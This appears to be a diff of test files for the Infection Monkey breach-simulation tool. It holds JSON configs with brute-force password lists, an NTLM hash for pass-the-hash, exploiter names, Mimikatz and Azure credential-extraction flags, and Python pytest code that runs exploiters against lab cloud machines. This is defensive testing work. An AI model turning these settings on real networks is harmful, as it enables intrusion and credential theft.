|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,184 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.18",
|
||||
"10.2.2.19"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"WebLogicExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,190 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"Ivrrw5zEzs"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.44",
|
||||
"10.2.2.15"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,188 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.15"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
import os
|
||||
|
||||
import logging
|
||||
from bson import ObjectId
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyLog(object):
|
||||
def __init__(self, monkey, log_dir_path):
|
||||
self.monkey = monkey
|
||||
self.log_dir_path = log_dir_path
|
||||
|
||||
def download_log(self, island_client):
|
||||
log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])})
|
||||
if not log:
|
||||
LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0]))
|
||||
return False
|
||||
else:
|
||||
self.write_log_to_file(log)
|
||||
return True
|
||||
|
||||
def write_log_to_file(self, log):
|
||||
with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file:
|
||||
log_file.write(MonkeyLog.parse_log(log))
|
||||
|
||||
@staticmethod
|
||||
def parse_log(log):
|
||||
log = log.strip('"')
|
||||
log = log.replace("\\n", "\n ")
|
||||
return log
|
||||
|
||||
@staticmethod
|
||||
def get_filename_for_monkey_log(monkey):
|
||||
return "{}.txt".format(monkey['ip_addresses'][0])
|
||||
|
||||
def get_log_path_for_monkey(self, monkey):
|
||||
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))
|
|
@ -0,0 +1,43 @@
|
|||
import logging
|
||||
import re
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyLogParser(object):
|
||||
|
||||
def __init__(self, log_path):
|
||||
self.log_path = log_path
|
||||
self.log_contents = self.read_log()
|
||||
|
||||
def read_log(self):
|
||||
with open(self.log_path, 'r') as log:
|
||||
return log.read()
|
||||
|
||||
def print_errors(self):
|
||||
errors = MonkeyLogParser.get_errors(self.log_contents)
|
||||
if len(errors) > 0:
|
||||
LOGGER.info("Found {} errors:".format(len(errors)))
|
||||
for index, error_line in enumerate(errors):
|
||||
LOGGER.info("Err #{}: {}".format(index, error_line))
|
||||
else:
|
||||
LOGGER.info("No errors!")
|
||||
|
||||
@staticmethod
|
||||
def get_errors(log_contents):
|
||||
searcher = re.compile(r"^.*:ERROR].*$", re.MULTILINE)
|
||||
return searcher.findall(log_contents)
|
||||
|
||||
def print_warnings(self):
|
||||
warnings = MonkeyLogParser.get_warnings(self.log_contents)
|
||||
if len(warnings) > 0:
|
||||
LOGGER.info("Found {} warnings:".format(len(warnings)))
|
||||
for index, warning_line in enumerate(warnings):
|
||||
LOGGER.info("Warn #{}: {}".format(index, warning_line))
|
||||
else:
|
||||
LOGGER.info("No warnings!")
|
||||
|
||||
@staticmethod
|
||||
def get_warnings(log_contents):
|
||||
searcher = re.compile(r"^.*:WARNING].*$", re.MULTILINE)
|
||||
return searcher.findall(log_contents)
|
|
@ -0,0 +1,26 @@
|
|||
import logging
|
||||
|
||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
|
||||
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MonkeyLogsDownloader(object):
|
||||
|
||||
def __init__(self, island_client, log_dir_path):
|
||||
self.island_client = island_client
|
||||
self.log_dir_path = log_dir_path
|
||||
self.monkey_log_paths = []
|
||||
|
||||
def download_monkey_logs(self):
|
||||
LOGGER.info("Downloading each monkey log.")
|
||||
all_monkeys = self.island_client.get_all_monkeys_from_db()
|
||||
for monkey in all_monkeys:
|
||||
downloaded_log_path = self._download_monkey_log(monkey)
|
||||
if downloaded_log_path:
|
||||
self.monkey_log_paths.append(downloaded_log_path)
|
||||
|
||||
def _download_monkey_log(self, monkey):
|
||||
log_handler = MonkeyLog(monkey, self.log_dir_path)
|
||||
download_successful = log_handler.download_log(self.island_client)
|
||||
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
|
|
@ -0,0 +1,50 @@
|
|||
import os
|
||||
import shutil
|
||||
|
||||
import logging
|
||||
|
||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
|
||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
|
||||
|
||||
LOG_DIR_NAME = 'logs'
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class TestLogsHandler(object):
|
||||
def __init__(self, test_name, island_client, log_dir_path):
|
||||
self.test_name = test_name
|
||||
self.island_client = island_client
|
||||
self.log_dir_path = os.path.join(log_dir_path, self.test_name)
|
||||
|
||||
def parse_test_logs(self):
|
||||
log_paths = self.download_logs()
|
||||
if not log_paths:
|
||||
LOGGER.error("No logs were downloaded. Maybe no monkeys were ran "
|
||||
"or early exception prevented log download?")
|
||||
return
|
||||
TestLogsHandler.parse_logs(log_paths)
|
||||
|
||||
def download_logs(self):
|
||||
self.try_create_log_dir_for_test()
|
||||
downloader = MonkeyLogsDownloader(self.island_client, self.log_dir_path)
|
||||
downloader.download_monkey_logs()
|
||||
return downloader.monkey_log_paths
|
||||
|
||||
def try_create_log_dir_for_test(self):
|
||||
try:
|
||||
os.mkdir(self.log_dir_path)
|
||||
except Exception as e:
|
||||
LOGGER.error("Can't create a dir for test logs: {}".format(e))
|
||||
|
||||
@staticmethod
|
||||
def delete_log_folder_contents(log_dir_path):
|
||||
shutil.rmtree(log_dir_path, ignore_errors=True)
|
||||
os.mkdir(log_dir_path)
|
||||
|
||||
@staticmethod
|
||||
def parse_logs(log_paths):
|
||||
for log_path in log_paths:
|
||||
LOGGER.info("Info from log at {}".format(log_path))
|
||||
log_parser = MonkeyLogParser(log_path)
|
||||
log_parser.print_errors()
|
||||
log_parser.print_warnings()
|
|
@ -0,0 +1,5 @@
|
|||
[pytest]
|
||||
log_cli = 1
|
||||
log_cli_level = INFO
|
||||
log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
|
||||
log_cli_date_format=%H:%M:%S
|
|
@ -0,0 +1,2 @@
|
|||
pytest
|
||||
unittest
|
|
@ -0,0 +1,110 @@
|
|||
import os
|
||||
import logging
|
||||
|
||||
import pytest
|
||||
from time import sleep
|
||||
|
||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
||||
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
|
||||
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
|
||||
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
||||
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
||||
|
||||
DEFAULT_TIMEOUT_SECONDS = 5*60
|
||||
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
||||
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16',
|
||||
'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24',
|
||||
'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
|
||||
LOG_DIR_PATH = "./logs"
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True, scope='session')
|
||||
def GCPHandler(request):
|
||||
GCPHandler = gcp_machine_handlers.GCPHandler()
|
||||
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
wait_machine_bootup()
|
||||
|
||||
def fin():
|
||||
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||
|
||||
request.addfinalizer(fin)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True, scope='session')
|
||||
def delete_logs():
|
||||
LOGGER.info("Deleting monkey logs before new tests.")
|
||||
TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path())
|
||||
|
||||
|
||||
def wait_machine_bootup():
|
||||
sleep(MACHINE_BOOTUP_WAIT_SECONDS)
|
||||
|
||||
|
||||
@pytest.fixture(scope='class')
|
||||
def island_client(island):
|
||||
island_client_object = MonkeyIslandClient(island)
|
||||
island_client_object.reset_env()
|
||||
yield island_client_object
|
||||
|
||||
|
||||
@pytest.mark.usefixtures('island_client')
|
||||
# noinspection PyUnresolvedReferences
|
||||
class TestMonkeyBlackbox(object):
|
||||
|
||||
@staticmethod
|
||||
def run_basic_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
|
||||
config_parser = IslandConfigParser(conf_filename)
|
||||
analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())
|
||||
log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
|
||||
BasicTest(test_name,
|
||||
island_client,
|
||||
config_parser,
|
||||
[analyzer],
|
||||
timeout_in_seconds,
|
||||
log_handler).run()
|
||||
|
||||
@staticmethod
|
||||
def get_log_dir_path():
|
||||
return os.path.abspath(LOG_DIR_PATH)
|
||||
|
||||
def test_server_online(self, island_client):
|
||||
assert island_client.get_api_status() is not None
|
||||
|
||||
def test_ssh_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "SSH.conf", "SSH_exploiter_and_keys")
|
||||
|
||||
def test_hadoop_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6*60)
|
||||
|
||||
def test_mssql_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "MSSQL.conf", "MSSQL_exploiter")
|
||||
|
||||
def test_smb_and_mimikatz_exploiters(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz")
|
||||
|
||||
def test_smb_pth(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_PTH.conf", "SMB_PTH")
|
||||
|
||||
def test_elastic_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "ELASTIC.conf", "Elastic_exploiter")
|
||||
|
||||
def test_struts_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter")
|
||||
|
||||
def test_weblogic_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter")
|
||||
|
||||
def test_shellshock_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
|
||||
|
||||
@pytest.mark.xfail(reason="Test fails randomly - still investigating.")
|
||||
def test_tunneling(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60)
|
||||
|
||||
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
|
||||
|
||||
def test_wmi_pth(self, island_client):
|
||||
TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH")
|
|
@ -0,0 +1,98 @@
|
|||
import json
|
||||
from time import sleep
|
||||
|
||||
import logging
|
||||
|
||||
from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
|
||||
|
||||
MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
|
||||
WAIT_TIME_BETWEEN_REQUESTS = 10
|
||||
TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
|
||||
DELAY_BETWEEN_ANALYSIS = 3
|
||||
LOGGER = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class BasicTest(object):
|
||||
|
||||
def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler):
|
||||
self.name = name
|
||||
self.island_client = island_client
|
||||
self.config_parser = config_parser
|
||||
self.analyzers = analyzers
|
||||
self.timeout = timeout
|
||||
self.log_handler = log_handler
|
||||
|
||||
def run(self):
|
||||
